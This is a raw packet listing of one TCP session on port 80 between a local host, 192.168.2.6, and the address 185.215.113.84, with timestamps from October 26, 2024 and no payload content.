Oct 26, 2024 07:27:11.799956083 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.799971104 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.799992085 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.799993038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800009966 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800010920 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800026894 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800033092 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800056934 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800062895 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800096989 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800112963 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800136089 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800148964 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800148964 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800164938 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800194025 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800204039 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800229073 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800242901 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800266027 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800271034 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800286055 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800405979 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800421953 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800445080 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800446033 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800460100 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800463915 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800477982 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800486088 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800501108 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800507069 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800518036 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800525904 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800534010 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800534964 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800554037 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800555944 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800570011 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800575018 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800589085 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800594091 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800611973 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800615072 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800626993 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800627947 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800643921 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800647974 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800658941 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800666094 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800682068 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800685883 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800700903 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800715923 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800726891 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800731897 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800754070 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800755024 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800772905 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800774097 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800791025 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800797939 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800812006 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800816059 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800832987 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800836086 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800848961 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800853014 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800862074 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800864935 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800880909 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800892115 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800900936 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800904989 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800913095 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800921917 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800941944 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800945997 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800961971 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800962925 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.800978899 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.800985098 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801004887 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801004887 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801013947 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801029921 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801042080 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801047087 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801063061 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801068068 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801084042 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801089048 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801101923 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801105976 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801125050 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801126957 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801143885 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801146984 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801161051 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801161051 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801181078 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801182032 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801187992 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801201105 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801219940 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801234007 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801244020 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801292896 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801332951 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801338911 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801388979 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801428080 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801438093 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801453114 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801476002 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801495075 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801502943 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801505089 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801517963 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801529884 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801558971 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801611900 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801625967 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801640987 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801661015 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801664114 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801682949 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801696062 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801706076 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801713943 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801722050 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801738024 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801745892 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801752090 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801772118 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801775932 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801791906 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801800966 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801805973 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801821947 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801834106 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801834106 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801862001 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801879883 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801918030 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801934004 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801949024 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801963091 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801970959 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801980019 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.801992893 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.801994085 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.802006006 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.802022934 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.802037001 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.802875042 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.802898884 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.802916050 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.802931070 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.802942038 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.802947998 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.802963972 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.802968979 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.802979946 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.802987099 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.802998066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803010941 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803030014 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803033113 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803046942 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803062916 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803077936 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803083897 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803097010 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803097963 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803126097 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803143024 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803143978 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803160906 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803174973 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803188086 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803199053 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803199053 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803205013 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803220034 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803226948 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803237915 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803241968 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803252935 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803257942 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803268909 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803276062 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803287983 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803292036 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803294897 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803320885 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803323984 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803329945 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803343058 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803355932 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803356886 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803374052 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803378105 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803390026 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803391933 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803412914 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803415060 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803421021 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803431034 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803447962 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803447962 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803463936 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803468943 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803481102 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803483009 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803493977 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803498983 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803518057 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803524971 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803530931 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803541899 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803560019 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803572893 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803579092 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803586960 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803597927 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803605080 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803617001 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803621054 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803626060 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803637981 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.803644896 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803663015 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.803677082 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.829648972 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.829683065 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.829696894 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.829720020 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.829735041 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.829758883 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.829773903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.829802990 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.829803944 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.829817057 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.829972029 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.829972029 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830171108 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830195904 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830210924 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830240011 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830255032 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830276966 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830292940 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830307007 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830326080 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830332994 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830351114 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830355883 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830365896 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830379009 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830394030 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830396891 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830415010 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830420971 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830436945 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830439091 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830452919 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830457926 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830470085 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830471992 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830487013 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830487967 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830503941 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830523014 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830528021 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830543995 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830568075 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830576897 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830590963 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830593109 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830609083 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830619097 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830622911 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830634117 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830638885 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830653906 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830655098 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830678940 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830699921 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830703020 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830724001 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830737114 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830740929 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830755949 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830769062 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830770969 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830777884 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830787897 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830790043 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830811024 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830811977 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830828905 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830830097 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830845118 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830852032 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830862045 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830869913 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830881119 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830893040 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830904961 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830918074 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830924034 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830926895 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830929041 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830950975 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830967903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830976009 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830976009 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.830981970 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.830998898 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831002951 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831017017 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831026077 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831034899 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831049919 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831049919 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831058979 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831083059 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831099987 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.831167936 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831191063 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.831207037 CEST	80	49991	185.215.113.84	192.168.2.6
